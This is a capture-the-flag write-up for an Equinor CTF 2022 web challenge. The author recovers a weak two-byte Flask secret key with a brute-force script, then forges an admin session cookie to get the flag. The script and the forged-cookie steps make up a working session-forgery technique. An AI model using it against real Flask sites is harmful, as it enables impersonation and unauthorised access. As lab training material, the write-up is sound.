View on GitHub

Equinor CTF 2022

Writeups for Equinor CTF 2022

The website looks like this:

I tried to register as admin:

Forbidden

You don’t have the permission to access the requested resource. It is either read-protected or not readable by the server.

That makes sense. Let’s try to register as test:

Ok! So we’re logged in, but the flag is hidden. We can see that a Cookie was created; session. It seems base64-encoded. Let’s have a closer look:

$ echo -n "eyJuYW1lIjoidGVzdCJ9.Y2ZV5w.OKZKlhXL6Ctl2jMtEET6jO5IGxI" | base64 -d
{"name":"test"}base64: invalid input

First I thought this was a proper JWT, but malformed or used incorrectly in some way, but after going down that rabbit hole for a while, I finaly looked at the supplied app code… 🤦🏻‍♂️

Looking at the app (app.py) we can see the follwing:

def generate_random_key():
    key = randbytes(1)
    key += choice(ascii_lowercase).encode("ascii")
    return key

flag = open("flag.txt", "r").read()
app = Flask(__name__)
seed(flag)
app.secret_key = generate_random_key()

generate_random_key creates a two byte key where the second byte doesn’t even use the full 0-255 range. This should be crackable with some simple brute forcing.

After doing some research on Flask and Flask-sessions I found some code to verify a session token here: https://github.com/Paradoxis/Flask-Unsign/blob/master/flask_unsign/session.py

The code is part of the Flask-Unsign package. Which I might have been able to use directly, but ended up copying the relevant code for some reason…

Anyway, the following method is useful to us, because this let’s us verify our secret while brute forcing:

def verify(value: str, secret: str, legacy: bool=False, salt: str=DEFAULT_SALT) -> bool:
    """
    Verifies if a given value matches the signed signature
    :param value: Session cookie string to verify
    :param secret: Secret key
    :param salt: Salt (default: 'cookie-session')
    :param legacy: Should the legacy timestamp generator be used?
    :return: True if the secret key is valid
    """
    if not isinstance(secret, (bytes, str)):
        raise FlaskUnsignException(
            f"Secret must be a string-type (bytes, str) and received "
            f"{type(secret).__name__!r}. To fix this, either add quotes to the "
            f"secret {secret!r} or use the --no-literal-eval argument.")

    try:
        get_serializer(secret, legacy, salt).loads(value)
    except BadSignature:
        return False

    return True

I put together a solve.py script:

# ...abbreviated

for x in range(0, 256): # the random byte
  for y in range(97, 123): # a-z (ascii_lowercase)

    key = bytearray()
    key.append(x)
    key.append(y)

    res = verify("eyJuYW1lIjoidGVzdCJ9.Y2ZV5w.OKZKlhXL6Ctl2jMtEET6jO5IGxI", bytes(key))

    if (res == True):
        print(key)
        print(f"Found! {key}")
        exit()

Let’s try it:

$ python3 solve.py 
bytearray(b'\x13x')
Found! bytearray(b'\x13x')

Nice! We found the key; \x13 and x.

I just used a modified version of app.py to create a valid session token for the admin-user:

From app_modified.py:

#...abbreviated

# Set app.secret_key to the bruteforced key found with `solve.py`:
app.secret_key = b"\x13x"

#...abbreviated

# Clear the session on every page load and set `name` to `admin`
session.clear()
session['name'] = "admin"
# End

We run it:

$ python3 app.py 
 * Serving Flask app 'app' (lazy loading)

Navigate to the app:

We can see our session cookie; eyJuYW1lIjoiYWRtaW4ifQ.Y2ZRHQ.IjkUOwQRMayBCjAG71cwrRWg6FY.

We paste the cookie into the real web page and reload:

We are admin and we have the flag!

Flag

EPT{flask-sessions-with-weak-key-is-no-goodie}